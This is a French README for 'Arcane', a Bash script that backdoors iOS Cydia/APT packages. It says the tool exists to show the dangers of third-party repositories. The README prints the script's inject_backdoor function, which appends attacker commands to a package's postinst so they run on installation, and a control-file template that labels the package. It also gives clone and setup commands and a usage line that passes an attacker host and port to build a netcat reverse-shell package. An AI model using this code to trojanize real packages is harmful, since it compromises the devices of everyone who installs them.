
Arcane est un script simple conçu pour backdoor les packages iOS (iphone-arm) et créer les ressources nécessaires pour les dépôts APT.
Arcane est un script simple conçu pour backdoorer des paquets iOS (iphone-arm) et créer les ressources nécessaires pour les dépôts APT. Il a été créé pour cette publication afin d'illustrer pourquoi les dépôts Cydia peuvent être dangereux et quelles attaques post-exploitation sont possibles à partir d'un appareil iOS compromis.

Pour comprendre ce qui se passe dans le GIF, décompressez un paquet créé avec Arcane.
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
Remarquez les fichiers control et postinst dans le répertoire DEBIAN. Les deux fichiers sont importants.
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
Il est possible de fournir des scripts dans le cadre d'un paquet lors de l'installation ou de la suppression d'applications. Les scripts de maintenance de paquets incluent les fichiers preinst, postinst, prerm et postrm. Arcane profite du fichier postinst pour exécuter des commandes pendant l'installation.
# Le fichier "post-installation". Ce fichier est généralement responsable
# de l'exécution de commandes sur le système d'exploitation après l'installation
# des fichiers nécessaires. Il est utilisé par les développeurs pour gérer et maintenir divers
# aspects d'une installation. Arcane abuse de cette fonctionnalité en
# ajoutant des commandes Bash malveillantes au fichier.
postinst="$tmp/DEBIAN/postinst";
# Une fonction pour gérer le type d'exécution de commande intégré dans le
# fichier postinst.
function inject_backdoor ()
{
# Si --file est utilisé, `cat` la/les commande(s) dans le fichier postinst.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# Si pas de --file, utiliser la charge utile Bash simple, définie
# précédemment.
echo -e "$payload" >> "$postinst";
embed="commande shell générique";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};
Le fichier control contient des valeurs que les outils de gestion de paquets utilisent lors de l'installation des paquets. Arcane va soit modifier un control existant, soit le créer.
# Le modèle de fichier "control". La plupart des paquets iOS incluront un
# fichier control. Si aucun n'est trouvé, Arcane utilisera le
# modèle ci-dessous. La variable `$hacker` est utilisée ici pour occuper
# divers champs arbitraires.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: Un paquet iOS backdooré
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# Une instruction `if` pour vérifier la présence du fichier control.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# Si aucun control n'est détecté, le créer à l'aide du modèle.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "fichier control créé" "erreur avec le modèle control";
else
# Si un fichier control existe, Arcane renomme simplement le paquet
# tel qu'il apparaît dans la liste des applications Cydia disponibles. Cela
# rend le paquet plus facile à localiser dans Cydia.
msg "fichier control détecté" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "fichier control modifié" "erreur avec le fichier control";
fi;
Clonez le dépôt dans Kali v2020.3.
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dépendances
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
Intégrer une commande dans un paquet donné. Voir l'article pour plus d'informations.
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attaquant> --lport <4444> --cydia --netcat
Le dépôt inclut des paquets pour les tests.
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
Sommes MD5, telles que trouvées sur le dépôt officiel Bingner.
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb